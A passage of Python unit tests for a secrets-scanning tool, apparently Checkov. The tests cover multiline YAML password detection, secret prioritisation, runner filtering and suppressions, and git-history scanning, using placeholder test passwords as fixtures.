"TEST_PASSWORD_1"', 'name1: "TEST_PASSWORD_2"', 'value1: "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35"', 'name: "TEST_PASSWORD_3"', 'value: "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"' ], start_line=5, target_index=5 ) raw_context = CodeSnippet( snippet=[ '#\n', '#\n', 'spec:\n', ' - name: SOME_NAME\n', ' value: some_value\n', ' value: Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE\n', ' name: TEST_PASSWORD_1\n', ' - name1: TEST_PASSWORD_2\n', ' value1: 1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35\n', ' name: TEST_PASSWORD_3\n', ' value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\n' ], start_line=5, target_index=5 ) res = self.plugin.analyze_line( filename="test.yml", line='value: "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE"', line_number=11, context=context, raw_context=raw_context ) expected_secret_value = 'Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE' assert res po_secret = res.pop() assert expected_secret_value == po_secret.secret_value assert po_secret.is_multiline is True def test_keyword_in_value_pair_long_password(self): # first line is keyword, next line (underneath) is a long multiline password context = CodeSnippet( snippet=[ 'name: "TEST_PASSWORD_3"', 'value: "PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"', 'name: "TEST_PASSWORD_4"', 'value: "emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z"', 'name: "TEST_PASSWORD_LONG_1"', 'value: "m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN"', 'name: "TEST_PASSWORD_no_password"', 'value: "RandomP@ssw0rd"' ], start_line=7, target_index=5 ) raw_context = CodeSnippet( snippet=[ ' - name: TEST_PASSWORD_3\n', ' value: PtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h\n', ' - name: TEST_PASSWORD_4\n', ' value: emDJTiv6H/hP6I8Tmr5+kUdpBIQDrXMwFO7AkmbwROf3rM6uNToJlIJW7H5ApfPmSGU0oWBwflV6Cd9pPu5nEvgxt4YMHZ0SQ85z\n', ' - name: TEST_PASSWORD_LONG_1\n', ' value: m9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN\n', ' - name: TEST_PASSWORD_no_password\n', ' value: RandomP@ssw0rd\n' ], start_line=112, target_index=5 ) res = self.plugin.analyze_line( filename="test.yml", line='value: "Zmlyc3Rfc2VjcmV0MjIyMjIyX2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzI"', line_number=118, context=context, raw_context=raw_context ) expected_secret_value = 'm9+1ONt6FdpnByhlaKDwZ/jjA5gaPzrKY9q5G8cr6kjn092ogigwEOGGryjDqq/NkX1DnKGGG7iduJUJ48+Rv0tgpdVAxwLQuiszRnssmi2ck/Zf1iDFlNQtiE8rvXE6OTCsb6mrpyItLOVnEwsRSpggyRa3KLSuiguiZsK5KyXQ6BsiAclpLvz6QFBQoQkZNxownQrqgLwVwkK1gW0/EEm0m1ylz20ZeLgYO6tRSvKDW0lrgAI7g60F7/eJGv1UqQlxK58T+7u1UX/K11Q69e9jJE+LkQ932eY37U70oVbBVchHwSFKUoffernEaG9XP1tyEpIptPqVpcS2BMpktoR1p1yyWuxC5GsPc2RlPQzEbs3n5lPPnC/uEVu7/cJENSw5+9DzigiHYPz1Cq/p5HedIl5ysn2U2VFgHWekGBYin6ytfmF2Sx+hYqeRd6RcxyU434CXspWQqc330sp9q7vwPQHNecBrvG2Iy7mqVSvaJDnkZ8AN' assert res po_secret = res.pop() assert expected_secret_value == po_secret.secret_value assert po_secret.is_multiline is True def test_multiline_keyword_password_report(self): test_file_path = Path(__file__).parent / "yml_multiline/test-multiline-secrets.yml" report = Runner().run( root_folder=None, files=[str(test_file_path)], runner_filter=RunnerFilter(framework=['secrets']) ) self.assertEqual(len(report.failed_checks), 5) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_non_multiline_pair_time_limit_creating_report(self): # given test_files = [str(Path(__file__).parent / "yml_multiline/pomerium_compose.yml")] runner = Runner() runner_filter = RunnerFilter(framework=['secrets']) # when start_time = time.time() report = runner.run(root_folder=None, files=test_files, runner_filter=runner_filter) end_time = time.time() # then assert end_time-start_time < 2 # assert the time limit is not too long for parsing long lines. interesting_failed_checks = _filter_reports_for_incident_ids(report.failed_checks, ["CKV_SECRET_4", "CKV_SECRET_6", "CKV_SECRET_13"]) self.assertEqual(len(interesting_failed_checks), 4) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) def test_regex_keyword_in_value(self): # the regex only finds the relevant part from the keyword that matches, # the whole keyword is not found by the current regex. examples = [ # (line, keyword) ( " - name: TEST_PASSWORD_1\n", "PASSWORD", ), ( " name: TEST_PASSWORD_1\n", "PASSWORD", ) ] keyword_value_regex_to_group = REGEX_VALUE_KEYWORD_BY_FILETYPE.get(FileType.YAML) value_regex, group_number = list(keyword_value_regex_to_group.items())[0] for line, secret in examples: match = value_regex.search(line).group(group_number) assert match == secret def test_regex_secret_in_value(self): examples = [ # (line, secret) ( " - value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n", "Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n", ), ( " value: Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n", "Zmlyc3Rfc2VjcmV0X2hlcmVfd2hvYV9tdWx0aWxsaW5lX3Nob3VsZF93b3JrXzE==\n", ), ] secret_value_regex_to_group = REGEX_VALUE_SECRET_BY_FILETYPE.get(FileType.YAML) value_regex, group_number = list(secret_value_regex_to_group.items())[0] for line, secret in examples: match = value_regex.search(line).group(group_number) assert match == secret ================================================ FILE: tests/secrets/test_prioritise_secrets.py ================================================ import unittest from checkov.common.models.enums import CheckResult from checkov.common.output.secrets_record import SecretsRecord from checkov.secrets.runner import Runner, ENTROPY_CHECK_IDS, GENERIC_PRIVATE_KEY_CHECK_IDS class TestPrioritiseSecrets(unittest.TestCase): def setUp(self): self.secret_records = { 'key1': SecretsRecord(check_id='CKV_SECRET_6', check_name='foo', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'baz')], file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None, check_class='CheckClass', file_abs_path='abs_path'), 'key2': SecretsRecord(check_id='CKV_SECRET_10', check_name='foo', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'baz')], file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None, check_class='CheckClass', file_abs_path='abs_path'), 'key3': SecretsRecord(check_id='CKV_SECRET_18', check_name='foo', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'baz')], file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None, check_class='CheckClass', file_abs_path='abs_path'), 'key4': SecretsRecord(check_id='CKV_SECRET_192', check_name='foo', check_result={"result": CheckResult.FAILED}, code_block=[(1, 'baz')], file_path='qux', file_line_range=[1, 2], resource='resource', evaluations=None, check_class='CheckClass', file_abs_path='abs_path'), } self.ENTROPY_CHECK_IDS = ENTROPY_CHECK_IDS self.GENERIC_PRIVATE_KEY_CHECK_IDS = GENERIC_PRIVATE_KEY_CHECK_IDS def test_entropy_check_id_removed(self): result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_18') self.assertTrue(result) self.assertNotIn('key1', self.secret_records) def test_generic_private_key_check_id_removed(self): result = Runner._prioritise_secrets(self.secret_records, 'key2', 'CKV_SECRET_18') self.assertTrue(result) self.assertNotIn('key2', self.secret_records) def test_generic_private_key_check_id_192_removed(self): result = Runner._prioritise_secrets(self.secret_records, 'key4', 'CKV_SECRET_18') self.assertTrue(result) self.assertNotIn('key4', self.secret_records) def test_no_removal_entropy_check_id(self): result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_6') self.assertFalse(result) self.assertIn('key1', self.secret_records) def test_no_removal_generic_private_key_check_id(self): result = Runner._prioritise_secrets(self.secret_records, 'key2', 'CKV_SECRET_10') self.assertFalse(result) self.assertIn('key2', self.secret_records) def test_no_removal_generic_private_key_check_id_192(self): result = Runner._prioritise_secrets(self.secret_records, 'key4', 'CKV_SECRET_192') self.assertFalse(result) self.assertIn('key4', self.secret_records) def test_no_removal_other_check_id(self): result = Runner._prioritise_secrets(self.secret_records, 'key3', 'CKV_SECRET_1000') self.assertFalse(result) self.assertIn('key3', self.secret_records) def test_no_removal_of_first_check_id(self): result = Runner._prioritise_secrets(self.secret_records, 'key1', 'CKV_SECRET_80') self.assertFalse(result) self.assertIn('key1', self.secret_records) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/secrets/test_runner.py ================================================ import unittest import os from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.bridgecrew.severities import BcSeverities, Severities from checkov.secrets.runner import Runner from checkov.runner_filter import RunnerFilter class TestRunnerValid(unittest.TestCase): def setUp(self) -> None: self.orig_metadata = metadata_integration.check_metadata def test_runner_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) self.assertEqual(len(report.failed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_sanity_check_secrets(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/sanity/secrets" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'])) self.assertEqual(len(report.failed_checks), 6) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_fp_sanity_check_secrets_non_iac(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/sanity/iac_fp" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_fp_sanity_check_secrets_iac(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/sanity/non_iac_fp" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_sanity_check_non_secrets(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/sanity/non_secrets" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_6'])) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() filter = RunnerFilter(framework=['secrets'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.SECRETS: Severities[BcSeverities.OFF]} report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) report.print_console() def test_runner_passing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/terraform" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.failed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_tf_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/terraform_failed" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) self.assertEqual(2, len(report.failed_checks)) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_tf_skip_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/terraform_skip" report = Runner().run( root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets']) ) self.assertEqual(len(report.skipped_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(len(report.skipped_checks), 1) report.print_console() def test_runner_specific_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_2'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_runner_wildcard_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET*'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 2) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_runner_skip_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['CKV_SECRET_2'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6') self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_record_has_severity(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" metadata_integration.check_metadata = { 'CKV_SECRET_2': { 'severity': Severities[BcSeverities.LOW] } } runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['CKV_SECRET_2'])) self.assertEqual(report.failed_checks[0].severity, Severities[BcSeverities.LOW]) def test_runner_check_severity(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" metadata_integration.check_metadata = { 'CKV_SECRET_2': { 'severity': Severities[BcSeverities.LOW] }, 'CKV_SECRET_6': { 'severity': Severities[BcSeverities.HIGH] } } runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], checks=['MEDIUM'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6') self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_runner_skip_check_severity(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" metadata_integration.check_metadata = { 'CKV_SECRET_2': { 'severity': Severities[BcSeverities.LOW] }, 'CKV_SECRET_6': { 'severity': Severities[BcSeverities.HIGH] } } runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['MEDIUM'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_SECRET_6') self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_runner_skip_check_wildcard(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], skip_checks=['CKV_SECRET*'])) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) def test_runner_multiple_files(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) self.assertEqual(9, len(report.failed_checks)) self.assertEqual(report.parsing_errors, []) self.assertEqual(report.passed_checks, []) self.assertEqual(len(report.skipped_checks), 1) def test_runner_bc_ids(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() # the other tests will implicitly test this value being None metadata_integration.check_metadata = { 'CKV_SECRET_2': { 'id': 'BC_GIT_2' } } report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) for fc in report.failed_checks: if fc.check_id == 'CKV_SECRET_2': self.assertEqual(fc.bc_check_id, 'BC_GIT_2') else: self.assertIsNone(fc.bc_check_id) def tearDown(self) -> None: metadata_integration.check_metadata = self.orig_metadata def test_runner_requested_file_type_only_ts(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.tf', '.yml'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 2) def test_runner_requested_file_type_only_py(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.ts', 'Dockerfile', '.tf', '.yml'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 2) def test_runner_requested_file_type_only_yml(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.tf', '.ts'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 2) def test_runner_requested_file_type_only_tf(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.ts', '.yml'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 3) def test_runner_requested_file_type_only_tf_yml(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', 'Dockerfile', '.ts'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 5) def test_runner_requested_file_type_all(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 13) def test_runner_requested_file_only_dockerfile(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], block_list_secret_scan=['.py', '.tf', '.ts', '.yml'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 4) def test_runner_no_requested_file(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'])) self.assertEqual(len(report.failed_checks), 9) def test_true_positive_py(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_file_path = current_dir + "/resources/file_type/test.py" runner = Runner() report = runner.run(root_folder=None, files=[valid_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 2) def test_no_false_positive_yml_2(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/resources/cfn" valid_file_path = valid_dir_path + "/secret-no-false-positive.yml" runner = Runner() report = runner.run(root_folder=None, files=[valid_file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) def test_runner_entropy_source_files(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/test_entropy_source_files" runner = Runner() report = runner.run(root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 2) for failed in report.failed_checks: if failed.check_id == 'CKV_SECRET_6': self.assertEqual(failed.file_line_range, [4, 5]) elif failed.check_id == 'CKV_SECRET_4': self.assertEqual(failed.file_line_range, [6, 7]) else: self.fail(f'Got a bad result: {failed}') def test_runner_omit_multiple_secrets_in_line(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = current_dir + "/omit_multiple_secrets/test" runner = Runner() runner_filter = RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True) report = runner.run(root_folder=valid_dir_path, runner_filter=runner_filter) self.assertEqual(len(report.failed_checks), 2) assert report.failed_checks[0].code_block[0][1] == "export AWS_ACCESS_KEY_ID=AKIAI**********\\nexport CIRCLE='rk_liv**********'\n" assert report.failed_checks[1].code_block[0][1] == "export AWS_ACCESS_KEY_ID=AKIAI**********\\nexport CIRCLE='rk_liv**********'\n" def test_metadata_suppression_object_rooted_json_skips_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) file_path = os.path.join(current_dir, "suppressions/metadata_suppression_object.json") runner = Runner() report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.skipped_checks), 2) def test_metadata_suppression_array_rooted_json_skips_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) file_path = os.path.join(current_dir, "suppressions/metadata_suppression_array.json") runner = Runner() report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.skipped_checks), 2) def test_metadata_suppression_yaml_skips_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) file_path = os.path.join(current_dir, "suppressions/metadata_suppression.yaml") runner = Runner() report = runner.run(root_folder=None, files=[file_path], external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_secret_scan_all_files=True)) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.skipped_checks), 2) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/secrets/test_secret_git_history.py ================================================ from __future__ import annotations from unittest import mock from pathlib import Path import shutil from copy import deepcopy from detect_secrets import SecretsCollection from detect_secrets.core.potential_secret import PotentialSecret from detect_secrets.settings import transient_settings from pytest_mock import MockerFixture from checkov.secrets.git_history_store import GitHistorySecretStore from checkov.secrets.git_types import Commit, CommitMetadata from checkov.secrets.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.common.output.secrets_record import COMMIT_REMOVED_STR, COMMIT_ADDED_STR from tests.secrets.git_history.test_utils import mock_git_repo_commits1, mock_git_repo_commits2, \ mock_git_repo_commits3, mock_git_repo_commits_remove_file, mock_git_repo_commits_rename_file, \ mock_git_repo_commits_modify_and_rename_file, mock_remove_file_with_two_equal_secret, \ mock_remove_file_with_two_secret, mock_git_repo_multiline_json, mock_git_repo_multiline_terraform, \ mock_git_repo_multiline_yml, mock_commit_with_keyword_combinator, mock_set_repo, mock_get_first_commit, \ mock_get_first_empty_commit, mock_run_forever @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits1) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_git_history() -> None: valid_dir_path = "test" runner = Runner() report = runner.run(root_folder=valid_dir_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['secrets'], enable_git_history_secret_scan=True)) assert len(report.failed_checks) == 6 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.parsing_errors) == 0 assert len(report.skipped_checks) == 0 for failed_check in report.failed_checks: assert failed_check.added_commit_hash or failed_check.removed_commit_hash if failed_check.removed_commit_hash: assert failed_check.removed_date assert failed_check.added_by assert failed_check.added_date @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits1) @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner.set_repo', mock_set_repo) @mock.patch('checkov.secrets.scan_git_history.get_first_commit', mock_get_first_commit) def test_scan_history_secrets() -> None: valid_dir_path = "test" secrets = SecretsCollection() plugins_used = [ {'name': 'AWSKeyDetector'}, ] from checkov.secrets.scan_git_history import GitHistoryScanner with transient_settings({ # Only run scans with only these plugins. 'plugins_used': plugins_used }) as settings: settings.disable_filters(*['detect_secrets.filters.common.is_invalid_file']) GitHistoryScanner(valid_dir_path, secrets).scan_history() assert len(secrets.data) == 3 @mock.patch('checkov.secrets.scan_git_history.GitHistoryScanner._get_commits_diff', mock_git_repo_commits2) 